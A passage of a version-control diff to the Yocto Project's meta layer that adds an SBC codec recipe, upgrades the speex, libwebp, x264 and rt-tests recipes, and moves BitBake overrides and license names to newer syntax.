+++ b/meta/recipes-multimedia/sbc/sbc_2.0.bb
@@ -0,0 +1,22 @@
+SUMMARY = "SBC Audio Codec"
+DESCRIPTION = "Bluetooth low-complexity, subband codec (SBC) library."
+HOMEPAGE = "https://www.bluez.org"
+SECTION = "libs"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LICENSE:${PN} = "LGPL-2.1-or-later"
+LICENSE:${PN}-examples = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e \
+ file://COPYING.LIB;md5=fb504b67c50331fc78734fed90fb0e09 \
+ file://src/sbcenc.c;beginline=1;endline=24;md5=08e7a70b127f4100ff2cd7d629147d8d \
+ file://sbc/sbc.h;beginline=1;endline=26;md5=0f57d0df22b0d40746bdd29805a4361b"
+
+DEPENDS = "libsndfile1"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/bluetooth/${BP}.tar.xz"
+
+SRC_URI[sha256sum] = "8f12368e1dbbf55e14536520473cfb338c84b392939cc9b64298360fd4a07992"
+
+inherit autotools pkgconfig
+
+PACKAGES =+ "${PN}-examples"
+FILES:${PN}-examples += "${bindir}/*"
diff --git a/meta/recipes-multimedia/speex/speex_1.2.0.bb b/meta/recipes-multimedia/speex/speex_1.2.0.bb
deleted file mode 100644
index 3a0911d6f8..0000000000
--- a/meta/recipes-multimedia/speex/speex_1.2.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Speech Audio Codec"
-DESCRIPTION = "Speex is an Open Source/Free Software patent-free audio compression format designed for speech."
-HOMEPAGE = "http://www.speex.org"
-SECTION = "libs"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=314649d8ba9dd7045dfb6683f298d0a8 \
- file://include/speex/speex.h;beginline=1;endline=34;md5=ef8c8ea4f7198d71cf3509c6ed05ea50"
-DEPENDS = "libogg speexdsp"
-
-SRC_URI = "http://downloads.xiph.org/releases/speex/speex-${PV}.tar.gz"
-UPSTREAM_CHECK_REGEX = "speex-(?P<pver>\d+(\.\d+)+)\.tar"
-
-SRC_URI[md5sum] = "8ab7bb2589110dfaf0ed7fa7757dc49c"
-SRC_URI[sha256sum] = "eaae8af0ac742dc7d542c9439ac72f1f385ce838392dc849cae4536af9210094"
-
-inherit autotools pkgconfig lib_package
-
-EXTRA_OECONF = "\
- ${@bb.utils.contains('TARGET_FPU', 'soft', '--enable-fixed-point --disable-float-api --disable-vbr', '', d)} \
-"
diff --git a/meta/recipes-multimedia/speex/speex_1.2.1.bb b/meta/recipes-multimedia/speex/speex_1.2.1.bb
new file mode 100644
index 0000000000..c40198fa8f
--- /dev/null
+++ b/meta/recipes-multimedia/speex/speex_1.2.1.bb
@@ -0,0 +1,20 @@
+SUMMARY = "Speech Audio Codec"
+DESCRIPTION = "Speex is an Open Source/Free Software patent-free audio compression format designed for speech."
+HOMEPAGE = "http://www.speex.org"
+SECTION = "libs"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=eff3f76350f52a99a3df5eec6b79c02a \
+ file://include/speex/speex.h;beginline=1;endline=34;md5=ef8c8ea4f7198d71cf3509c6ed05ea50 \
+ "
+DEPENDS = "libogg speexdsp"
+
+SRC_URI = "http://downloads.xiph.org/releases/speex/speex-${PV}.tar.gz"
+UPSTREAM_CHECK_REGEX = "speex-(?P<pver>\d+(\.\d+)+)\.tar"
+
+SRC_URI[sha256sum] = "4b44d4f2b38a370a2d98a78329fefc56a0cf93d1c1be70029217baae6628feea"
+
+inherit autotools pkgconfig lib_package
+
+EXTRA_OECONF = "\
+ ${@bb.utils.contains('TARGET_FPU', 'soft', '--enable-fixed-point --disable-float-api --disable-vbr', '', d)} \
+"
diff --git a/meta/recipes-multimedia/speex/speexdsp_1.2.0.bb b/meta/recipes-multimedia/speex/speexdsp_1.2.0.bb
deleted file mode 100644
index 6369646761..0000000000
--- a/meta/recipes-multimedia/speex/speexdsp_1.2.0.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "A patent-free DSP library"
-DESCRIPTION = "SpeexDSP is a patent-free, Open Source/Free Software DSP library."
-HOMEPAGE = "http://www.speex.org"
-SECTION = "libs"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=314649d8ba9dd7045dfb6683f298d0a8"
-
-SRC_URI = "http://downloads.xiph.org/releases/speex/speexdsp-${PV}.tar.gz"
-
-UPSTREAM_CHECK_REGEX = "speexdsp-(?P<pver>\d+(\.\d+)+)\.tar"
-
-SRC_URI[md5sum] = "b722df341576dc185d897131321008fc"
-SRC_URI[sha256sum] = "682042fc6f9bee6294ec453f470dadc26c6ff29b9c9e9ad2ffc1f4312fd64771"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF = "\
- --disable-examples \
- ${@bb.utils.contains('TARGET_FPU', 'soft', '--enable-fixed-point --disable-float-api', '', d)} \
-"
-
-# speexdsp was split off from speex in 1.2rc2. Older versions of speex can't
-# be installed together with speexdsp, since they contain overlapping files.
-RCONFLICTS_${PN} = "speex (< 1.2rc2)"
-RCONFLICTS_${PN}-dbg = "speex-dbg (< 1.2rc2)"
-RCONFLICTS_${PN}-dev = "speex-dev (< 1.2rc2)"
-RCONFLICTS_${PN}-staticdev = "speex-staticdev (< 1.2rc2)"
diff --git a/meta/recipes-multimedia/speex/speexdsp_1.2.1.bb b/meta/recipes-multimedia/speex/speexdsp_1.2.1.bb
new file mode 100644
index 0000000000..435b56bbb8
--- /dev/null
+++ b/meta/recipes-multimedia/speex/speexdsp_1.2.1.bb
@@ -0,0 +1,28 @@
+SUMMARY = "A patent-free DSP library"
+DESCRIPTION = "SpeexDSP is a patent-free, Open Source/Free Software DSP library."
+HOMEPAGE = "http://www.speex.org"
+SECTION = "libs"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=eff3f76350f52a99a3df5eec6b79c02a"
+
+SRC_URI = "http://downloads.xiph.org/releases/speex/speexdsp-${PV}.tar.gz"
+
+UPSTREAM_CHECK_REGEX = "speexdsp-(?P<pver>\d+(\.\d+)+)\.tar"
+
+SRC_URI[sha256sum] = "8c777343e4a6399569c72abc38a95b24db56882c83dbdb6c6424a5f4aeb54d3d"
+
+inherit autotools pkgconfig
+
+EXTRA_OECONF = "\
+ --disable-examples \
+ ${@bb.utils.contains('TARGET_FPU', 'soft', '--enable-fixed-point --disable-float-api', '', d)} \
+"
+
+# speexdsp was split off from speex in 1.2rc2. Older versions of speex can't
+# be installed together with speexdsp, since they contain overlapping files.
+RCONFLICTS:${PN} = "speex (< 1.2rc2)"
+RCONFLICTS:${PN}-dbg = "speex-dbg (< 1.2rc2)"
+RCONFLICTS:${PN}-dev = "speex-dev (< 1.2rc2)"
+RCONFLICTS:${PN}-staticdev = "speex-staticdev (< 1.2rc2)"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-multimedia/webp/libwebp_1.1.0.bb b/meta/recipes-multimedia/webp/libwebp_1.1.0.bb
deleted file mode 100644
index 68e5ae2b3c..0000000000
--- a/meta/recipes-multimedia/webp/libwebp_1.1.0.bb
+++ /dev/null
@@ -1,56 +0,0 @@
-SUMMARY = "WebP is an image format designed for the Web"
-DESCRIPTION = "WebP is a method of lossy and lossless compression that can be \
- used on a large variety of photographic, translucent and \
- graphical images found on the web. The degree of lossy \
- compression is adjustable so a user can choose the trade-off \
- between file size and image quality. WebP typically achieves \
- an average of 30% more compression than JPEG and JPEG 2000, \
- without loss of image quality."
-HOMEPAGE = "https://developers.google.com/speed/webp/"
-SECTION = "libs"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=6e8dee932c26f2dab503abf70c96d8bb \
- file://PATENTS;md5=c6926d0cb07d296f886ab6e0cc5a85b7"
-
-SRC_URI = "http://downloads.webmproject.org/releases/webp/${BP}.tar.gz"
-SRC_URI[md5sum] = "7e047f2cbaf584dff7a8a7e0f8572f18"
-SRC_URI[sha256sum] = "98a052268cc4d5ece27f76572a7f50293f439c17a98e67c4ea0c7ed6f50ef043"
-
-UPSTREAM_CHECK_URI = "http://downloads.webmproject.org/releases/webp/index.html"
-
-EXTRA_OECONF = " \
- --disable-wic \
- --enable-libwebpmux \
- --enable-libwebpdemux \
- --enable-threading \
-"
-
-# Do not trust configure to determine if neon is available.
-#
-EXTRA_OECONF_ARM = " \
- ${@bb.utils.contains("TUNE_FEATURES","neon","--enable-neon","--disable-neon",d)} \
-"
-EXTRA_OECONF_append_arm = " ${EXTRA_OECONF_ARM}"
-EXTRA_OECONF_append_armeb = " ${EXTRA_OECONF_ARM}"
-
-inherit autotools lib_package
-
-PACKAGECONFIG ??= ""
-
-# libwebpdecoder is a subset of libwebp, don't build it unless requested
-PACKAGECONFIG[decoder] = "--enable-libwebpdecoder,--disable-libwebpdecoder"
-
-# Apply for examples programs: cwebp and dwebp
-PACKAGECONFIG[gif] = "--enable-gif,--disable-gif,giflib"
-PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg"
-PACKAGECONFIG[png] = "--enable-png,--disable-png,,libpng"
-PACKAGECONFIG[tiff] = "--enable-tiff,--disable-tiff,tiff"
-
-# Apply only for example program vwebp
-PACKAGECONFIG[gl] = "--enable-gl,--disable-gl,mesa-glut"
-
-PACKAGES =+ "${PN}-gif2webp"
-
-DESCRIPTION_${PN}-gif2webp = "Simple tool to convert animated GIFs to WebP"
-FILES_${PN}-gif2webp = "${bindir}/gif2webp"
diff --git a/meta/recipes-multimedia/webp/libwebp_1.3.2.bb b/meta/recipes-multimedia/webp/libwebp_1.3.2.bb
new file mode 100644
index 0000000000..63b0fd9a6c
--- /dev/null
+++ b/meta/recipes-multimedia/webp/libwebp_1.3.2.bb
@@ -0,0 +1,57 @@
+SUMMARY = "WebP is an image format designed for the Web"
+DESCRIPTION = "WebP is a method of lossy and lossless compression that can be \
+ used on a large variety of photographic, translucent and \
+ graphical images found on the web. The degree of lossy \
+ compression is adjustable so a user can choose the trade-off \
+ between file size and image quality. WebP typically achieves \
+ an average of 30% more compression than JPEG and JPEG 2000, \
+ without loss of image quality."
+HOMEPAGE = "https://developers.google.com/speed/webp/"
+SECTION = "libs"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=6e8dee932c26f2dab503abf70c96d8bb \
+ file://PATENTS;md5=c6926d0cb07d296f886ab6e0cc5a85b7"
+
+SRC_URI = "http://downloads.webmproject.org/releases/webp/${BP}.tar.gz"
+SRC_URI[sha256sum] = "2a499607df669e40258e53d0ade8035ba4ec0175244869d1025d460562aa09b4"
+
+UPSTREAM_CHECK_URI = "http://downloads.webmproject.org/releases/webp/index.html"
+
+EXTRA_OECONF = " \
+ --disable-wic \
+ --enable-libwebpmux \
+ --enable-libwebpdemux \
+ --enable-threading \
+"
+
+# Do not trust configure to determine if neon is available.
+#
+EXTRA_OECONF_ARM = " \
+ ${@bb.utils.contains("TUNE_FEATURES","neon","--enable-neon","--disable-neon",d)} \
+"
+EXTRA_OECONF:append:arm = " ${EXTRA_OECONF_ARM}"
+EXTRA_OECONF:append:armeb = " ${EXTRA_OECONF_ARM}"
+
+inherit autotools lib_package
+
+PACKAGECONFIG ??= ""
+
+# libwebpdecoder is a subset of libwebp, don't build it unless requested
+PACKAGECONFIG[decoder] = "--enable-libwebpdecoder,--disable-libwebpdecoder"
+
+# Apply for examples programs: cwebp and dwebp
+PACKAGECONFIG[gif] = "--enable-gif,--disable-gif,giflib"
+PACKAGECONFIG[jpeg] = "--enable-jpeg,--disable-jpeg,jpeg"
+PACKAGECONFIG[png] = "--enable-png,--disable-png,,libpng"
+PACKAGECONFIG[tiff] = "--enable-tiff,--disable-tiff,tiff"
+
+# Apply only for example program vwebp
+PACKAGECONFIG[gl] = "--enable-gl,--disable-gl,mesa-glut"
+
+PACKAGES =+ "${PN}-gif2webp"
+
+DESCRIPTION:${PN}-gif2webp = "Simple tool to convert animated GIFs to WebP"
+FILES:${PN}-gif2webp = "${bindir}/gif2webp"
+
+BBCLASSEXTEND += "native nativesdk"
diff --git a/meta/recipes-multimedia/x264/x264_git.bb b/meta/recipes-multimedia/x264/x264_git.bb
index 1ff5348b9e..e7d9e75e8d 100644
--- a/meta/recipes-multimedia/x264/x264_git.bb
+++ b/meta/recipes-multimedia/x264/x264_git.bb
@@ -2,32 +2,32 @@ SUMMARY = "H.264/MPEG-4 AVC video encoder"
DESCRIPTION = "A free software library and application for encoding video streams into the H.264/MPEG-4 AVC format."
HOMEPAGE = "http://www.videolan.org/developers/x264.html"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LICENSE_FLAGS = "commercial"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
DEPENDS = "nasm-native"
-SRC_URI = "git://github.com/mirror/x264;branch=stable \
+SRC_URI = "git://github.com/mirror/x264;branch=stable;protocol=https \
file://don-t-default-to-cortex-a9-with-neon.patch \
file://Fix-X32-build-by-disabling-asm.patch \
"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "296494a4011f58f32adc54304a2654627558c59a"
+SRCREV = "baee400fa9ced6f5481a728138fed6e867b0ff7f"
-PV = "r2991+git${SRCPV}"
+PV = "r3039+git"
S = "${WORKDIR}/git"
inherit lib_package pkgconfig
X264_DISABLE_ASM = ""
-X264_DISABLE_ASM_x86 = "--disable-asm"
-X264_DISABLE_ASM_armv4 = "--disable-asm"
-X264_DISABLE_ASM_armv5 = "--disable-asm"
-X264_DISABLE_ASM_powerpc = "${@bb.utils.contains("TUNE_FEATURES", "spe", "--disable-asm", "", d)}"
-X264_DISABLE_ASM_mipsarch = "${@bb.utils.contains("TUNE_FEATURES", "r6", "", "--disable-asm", d)}"
+X264_DISABLE_ASM:x86 = "--disable-asm"
+X264_DISABLE_ASM:armv4 = "--disable-asm"
+X264_DISABLE_ASM:armv5 = "--disable-asm"
+X264_DISABLE_ASM:powerpc = "${@bb.utils.contains("TUNE_FEATURES", "spe", "--disable-asm", "", d)}"
+X264_DISABLE_ASM:mipsarch = "${@bb.utils.contains("TUNE_FEATURES", "r6", "", "--disable-asm", d)}"
EXTRA_OECONF = '--prefix=${prefix} \
--host=${HOST_SYS} \
diff --git a/meta/recipes-rt/README b/meta/recipes-rt/README
index 7d7558de49..0144d68b70 100644
--- a/meta/recipes-rt/README
+++ b/meta/recipes-rt/README
@@ -10,4 +10,4 @@ If you are creating a new BSP which should use linux-yocto-rt by default,
use the line above in the $MACHINE.conf in your BSP layer, and specify the
following in a linux-yocto-rt bbappend recipe:
-COMPATIBLE_MACHINE_$MACHINE = $MACHINE
+COMPATIBLE_MACHINE:$MACHINE = $MACHINE
diff --git a/meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch b/meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch
new file mode 100644
index 0000000000..a1fc9e26a0
--- /dev/null
+++ b/meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch
@@ -0,0 +1,29 @@
+From 7cf4cf097895bd4c3f3d3a6f783c766b3173cf1a Mon Sep 17 00:00:00 2001
+From: Randy Witt <randy.e.witt@intel.com>
+Date: Fri, 16 Oct 2020 16:54:30 -0700
+Subject: [PATCH] Makefile: Allow for CC and AR to be overridden
+
+The Makefile previously allowed for this but it was removed upstream in
+commit 7763cf316d7896fa05b816a46998f0827ab6e6eb.
+
+Signed-off-by: Randy Witt <randy.e.witt@intel.com>
+
+Upstream-Status: Inappropriate [other]
+
+---
+ Makefile | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/Makefile b/Makefile
+index 223a839..a735584 100644
+--- a/Makefile
++++ b/Makefile
+@@ -1,6 +1,6 @@
+ VERSION = 2.6
+-CC = $(CROSS_COMPILE)gcc
+-AR = $(CROSS_COMPILE)ar
++CC ?= $(CROSS_COMPILE)gcc
++AR ?= $(CROSS_COMPILE)ar
+
+ OBJDIR = bld
+
diff --git a/meta/recipes-rt/rt-tests/files/rt_bmark.py b/meta/recipes-rt/rt-tests/files/rt_bmark.py
index 3b84447a0f..2a4eed412f 100755
--- a/meta/recipes-rt/rt-tests/files/rt_bmark.py
+++ b/meta/recipes-rt/rt-tests/files/rt_bmark.py
@@ -265,7 +265,7 @@ cmd = ("cyclictest",
"-d", str(interval_delta),
"-l", str(loop_count)
)
-rex = re.compile(b"C:\s*(\d+).*Min:\s*(\d+).*Avg:\s*(\d+).*Max:\s*(\d+)")
+rex = re.compile(r"C:\s*(\d+).*Min:\s*(\d+).*Avg:\s*(\d+).*Max:\s*(\d+)")
def run_cyclictest_once():
res = subprocess.check_output(cmd)
diff --git a/meta/recipes-rt/rt-tests/hwlatdetect_1.1.bb b/meta/recipes-rt/rt-tests/hwlatdetect_1.1.bb
deleted file mode 100644
index 5f61c4ecdd..0000000000
--- a/meta/recipes-rt/rt-tests/hwlatdetect_1.1.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Hardware latency detector"
-DESCRIPTION = "Python utility for controlling the kernel hardware latency detection module (hwlat_detector.ko)."
-HOMEPAGE = "https://rt.wiki.kernel.org/index.php/Cyclictest"
-SECTION = "tests"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-require rt-tests.inc
-inherit python3-dir
-
-EXTRA_OEMAKE += "PYLIB=${libdir}/python${PYTHON_BASEVERSION}/dist-packages"
-
-do_compile() {
- oe_runmake hwlatdetect
-}
-
-do_install() {
- oe_runmake install_hwlatdetect DESTDIR=${D} SBINDIR=${sbindir} \
- MANDIR=${mandir} INCLUDEDIR=${includedir}
-
- sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py
-}
-
-FILES_${PN} += "${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py"
-RDEPENDS_${PN} = "python3-core "
-RRECOMMENDS_${PN} = "kernel-module-hwlat-detector"
diff --git a/meta/recipes-rt/rt-tests/hwlatdetect_git.bb b/meta/recipes-rt/rt-tests/hwlatdetect_git.bb
new file mode 100644
index 0000000000..2dcc80965a
--- /dev/null
+++ b/meta/recipes-rt/rt-tests/hwlatdetect_git.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Hardware latency detector"
+DESCRIPTION = "Python utility for controlling the kernel hardware latency detection module (hwlat_detector.ko)."
+HOMEPAGE = "https://rt.wiki.kernel.org/index.php/Cyclictest"
+SECTION = "tests"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+require rt-tests.inc
+inherit python3-dir
+
+EXTRA_OEMAKE += "PYLIB=${libdir}/python${PYTHON_BASEVERSION}/dist-packages"
+
+do_compile() {
+ oe_runmake hwlatdetect
+}
+
+do_install() {
+ oe_runmake install_hwlatdetect DESTDIR=${D} SBINDIR=${sbindir} \
+ MANDIR=${mandir} INCLUDEDIR=${includedir}
+
+ sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py
+}
+
+FILES:${PN} += "${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py"
+RDEPENDS:${PN} = "python3-core "
+RRECOMMENDS:${PN} = "kernel-module-hwlat-detector"
diff --git a/meta/recipes-rt/rt-tests/rt-tests-1.1/0001-gzip-with-n-for-build-reproducibilty.patch b/meta/recipes-rt/rt-tests/rt-tests-1.1/0001-gzip-with-n-for-build-reproducibilty.patch
deleted file mode 100644
index 3bafbbe08f..0000000000
--- a/meta/recipes-rt/rt-tests/rt-tests-1.1/0001-gzip-with-n-for-build-reproducibilty.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From aabf518e2e61a882b925f9d2ac53dafa7a041a0a Mon Sep 17 00:00:00 2001
-From: Jeremy Puhlman <jpuhlman@mvista.com>
-Date: Tue, 25 Feb 2020 22:58:59 +0000
-Subject: [PATCH] gzip with -n for build reproducibilty
-
-The date can get encoded in the header of the gz file, which
-causes the binary files between two different builds of the
-same data to be different. Add -n for reproducibilty
-
-Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
-
-Upstream-Status: Submitted [mailinglist]
-
----
- Makefile | 24 ++++++++++++------------
- 1 file changed, 12 insertions(+), 12 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index a54d82b..e9f0d5a 100644
---- a/Makefile
-+++ b/Makefile
-@@ -168,17 +168,17 @@ install: all install_hwlatdetect
- cp $(TARGETS) "$(DESTDIR)$(bindir)"
- install -D -m 644 src/backfire/backfire.c "$(DESTDIR)$(srcdir)/backfire/backfire.c"
- install -m 644 src/backfire/Makefile "$(DESTDIR)$(srcdir)/backfire/Makefile"
-- gzip -c src/backfire/backfire.4 >"$(DESTDIR)$(mandir)/man4/backfire.4.gz"
-- gzip -c src/cyclictest/cyclictest.8 >"$(DESTDIR)$(mandir)/man8/cyclictest.8.gz"
-- gzip -c src/pi_tests/pi_stress.8 >"$(DESTDIR)$(mandir)/man8/pi_stress.8.gz"
-- gzip -c src/ptsematest/ptsematest.8 >"$(DESTDIR)$(mandir)/man8/ptsematest.8.gz"
-- gzip -c src/rt-migrate-test/rt-migrate-test.8 >"$(DESTDIR)$(mandir)/man8/rt-migrate-test.8.gz"
-- gzip -c src/sigwaittest/sigwaittest.8 >"$(DESTDIR)$(mandir)/man8/sigwaittest.8.gz"
-- gzip -c src/svsematest/svsematest.8 >"$(DESTDIR)$(mandir)/man8/svsematest.8.gz"
-- gzip -c src/pmqtest/pmqtest.8 >"$(DESTDIR)$(mandir)/man8/pmqtest.8.gz"
-- gzip -c src/backfire/sendme.8 >"$(DESTDIR)$(mandir)/man8/sendme.8.gz"
-- gzip -c src/hackbench/hackbench.8 >"$(DESTDIR)$(mandir)/man8/hackbench.8.gz"
-- gzip -c src/signaltest/signaltest.8 >"$(DESTDIR)$(mandir)/man8/signaltest.8.gz"
-+ gzip -nc src/backfire/backfire.4 >"$(DESTDIR)$(mandir)/man4/backfire.4.gz"
-+ gzip -nc src/cyclictest/cyclictest.8 >"$(DESTDIR)$(mandir)/man8/cyclictest.8.gz"
-+ gzip -nc src/pi_tests/pi_stress.8 >"$(DESTDIR)$(mandir)/man8/pi_stress.8.gz"
-+ gzip -nc src/ptsematest/ptsematest.8 >"$(DESTDIR)$(mandir)/man8/ptsematest.8.gz"
-+ gzip -nc src/rt-migrate-test/rt-migrate-test.8 >"$(DESTDIR)$(mandir)/man8/rt-migrate-test.8.gz"
-+ gzip -nc src/sigwaittest/sigwaittest.8 >"$(DESTDIR)$(mandir)/man8/sigwaittest.8.gz"
-+ gzip -nc src/svsematest/svsematest.8 >"$(DESTDIR)$(mandir)/man8/svsematest.8.gz"
-+ gzip -nc src/pmqtest/pmqtest.8 >"$(DESTDIR)$(mandir)/man8/pmqtest.8.gz"
-+ gzip -nc src/backfire/sendme.8 >"$(DESTDIR)$(mandir)/man8/sendme.8.gz"
-+ gzip -nc src/hackbench/hackbench.8 >"$(DESTDIR)$(mandir)/man8/hackbench.8.gz"
-+ gzip -nc src/signaltest/signaltest.8 >"$(DESTDIR)$(mandir)/man8/signaltest.8.gz"
-
- .PHONY: install_hwlatdetect
- install_hwlatdetect: hwlatdetect
-@@ -187,7 +187,7 @@ install_hwlatdetect: hwlatdetect
- install -D -m 755 src/hwlatdetect/hwlatdetect.py $(DESTDIR)$(PYLIB)/hwlatdetect.py ; \
- rm -f "$(DESTDIR)$(bindir)/hwlatdetect" ; \
- ln -s $(PYLIB)/hwlatdetect.py "$(DESTDIR)$(bindir)/hwlatdetect" ; \
-- gzip -c src/hwlatdetect/hwlatdetect.8 >"$(DESTDIR)$(mandir)/man8/hwlatdetect.8.gz" ; \
-+ gzip -nc src/hwlatdetect/hwlatdetect.8 >"$(DESTDIR)$(mandir)/man8/hwlatdetect.8.gz" ; \
- fi
-
- .PHONY: tarball
---
-2.23.0
-
diff --git a/meta/recipes-rt/rt-tests/rt-tests.inc b/meta/recipes-rt/rt-tests/rt-tests.inc
index 6e3afafce4..70315c4694 100644
--- a/meta/recipes-rt/rt-tests/rt-tests.inc
+++ b/meta/recipes-rt/rt-tests/rt-tests.inc
@@ -1,12 +1,7 @@
-# Version 1.1
-SRCREV = "dff174f994f547a5785d32454865f140daacb0f5"
+SRCREV = "217cd8518c5f7777d490892aa9c765a6b2782cb5"
+PV = "2.6"
PE = "1"
-SRC_URI = "git://git.kernel.org/pub/scm/utils/rt-tests/rt-tests.git"
-# 1.2 and up seem to be development versions
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>(?!1\.[2-8])(\d+(\.\d+)+))"
+SRC_URI = "git://git.kernel.org/pub/scm/utils/rt-tests/rt-tests.git;branch=main;protocol=https"
S = "${WORKDIR}/git"
-
-# calling 'uname -m' is broken on crossbuilds
-EXTRA_OEMAKE = "NUMA=0"
diff --git a/meta/recipes-rt/rt-tests/rt-tests_1.1.bb b/meta/recipes-rt/rt-tests/rt-tests_1.1.bb
deleted file mode 100644
index dad252b4ed..0000000000
--- a/meta/recipes-rt/rt-tests/rt-tests_1.1.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-SUMMARY = "Real-Time preemption testcases"
-HOMEPAGE = "https://rt.wiki.kernel.org/index.php/Cyclictest"
-SECTION = "tests"
-DEPENDS = "linux-libc-headers virtual/libc"
-LICENSE = "GPLv2 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
- file://src/cyclictest/cyclictest.c;beginline=7;endline=9;md5=e768b8da44555fe63f65e5c497844cb5 \
- file://src/pi_tests/pi_stress.c;beginline=6;endline=19;md5=bd426a634a43ec612e9fbf125dfcc949"
-
-require rt-tests.inc
-inherit ptest
-
-SRC_URI += " \
- file://run-ptest \
- file://rt_bmark.py \
- file://0001-gzip-with-n-for-build-reproducibilty.patch \
- "
-
-# rt-tests needs PI mutex support in libc
-COMPATIBLE_HOST_libc-musl = 'null'
-
-# Do not install hwlatdetect
-EXTRA_OEMAKE += "PYLIB=''"
-
-do_install() {
- oe_runmake install DESTDIR=${D} SBINDIR=${sbindir} MANDIR=${mandir} \
- INCLUDEDIR=${includedir}
-}
-
-do_install_ptest() {
- cp ${WORKDIR}/rt_bmark.py ${D}${PTEST_PATH}
-}
-
-RDEPENDS_${PN}-ptest += " stress-ng python3 python3-multiprocessing python3-datetime python3-misc"
-
-FILES_${PN} += "${prefix}/src/backfire"
diff --git a/meta/recipes-rt/rt-tests/rt-tests_git.bb b/meta/recipes-rt/rt-tests/rt-tests_git.bb
new file mode 100644
index 0000000000..ef082131e2
--- /dev/null
+++ b/meta/recipes-rt/rt-tests/rt-tests_git.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Real-Time preemption testcases"
+HOMEPAGE = "https://wiki.linuxfoundation.org/realtime/documentation/start"
+DESCRIPTION = "The main aim of the PREEMPT_RT patch is to minimize the amount of kernel code that is non-preemptible Therefore several substitution mechanisms and new mechanisms are implemented."
+SECTION = "tests"
+DEPENDS = "linux-libc-headers virtual/libc numactl"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+require rt-tests.inc
+inherit ptest
+
+SRC_URI += " \
+ file://run-ptest \
+ file://rt_bmark.py \
+ file://0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch \
+ "
+
+# rt-tests needs PI mutex support in libc
+COMPATIBLE_HOST:libc-musl = 'null'
+
+# Do not install hwlatdetect
+EXTRA_OEMAKE += "PYLIB=''"
+
+do_install() {
+ oe_runmake install DESTDIR=${D} SBINDIR=${sbindir} MANDIR=${mandir} \
+ INCLUDEDIR=${includedir}
+}
+
+do_install_ptest() {
+ cp ${WORKDIR}/rt_bmark.py ${D}${PTEST_PATH}
+}
+
+RDEPENDS:${PN}-ptest += " stress-ng python3 python3-multiprocessing python3-datetime python3-misc"
+
+FILES:${PN} += "${prefix}/src/backfire"
+RDEPENDS:${PN} += "bash"
diff --git a/meta/recipes-sato/images/core-image-sato-dev.bb b/meta/recipes-sato/images/core-image-sato-dev.bb
index 7fa69d0997..f45a83273c 100644
--- a/meta/recipes-sato/images/core-image-sato-dev.bb
+++ b/meta/recipes-sato/images/core-image-sato-dev.bb
@@ -3,5 +3,6 @@ require core-image-sato.bb
DESCRIPTION = "Image with Sato for development work. It includes everything \
within core-image-sato plus a native toolchain, application development and \
testing libraries, profiling and debug symbols."
+HOMEPAGE = "https://www.yoctoproject.org/"
IMAGE_FEATURES += "dev-pkgs"
diff --git a/meta/recipes-sato/images/core-image-sato-ptest-fast.bb b/meta/recipes-sato/images/core-image-sato-ptest-fast.bb
deleted file mode 100644
index 3641217306..0000000000
--- a/meta/recipes-sato/images/core-image-sato-ptest-fast.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-require core-image-sato-sdk.bb
-require conf/distro/include/ptest-packagelists.inc
-
-IMAGE_INSTALL += "${PTESTS_FAST}"
-
-DESCRIPTION += "Also includes ptest packages with fast execution times to allow for more automated QA."
-
-# This image is sufficiently large (~1.8GB) that it can't actually fit in a live
-# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
-# box) and explicitly add just 1500MB.
-# strace-ptest in particular needs more than 500MB
-IMAGE_OVERHEAD_FACTOR = "1.0"
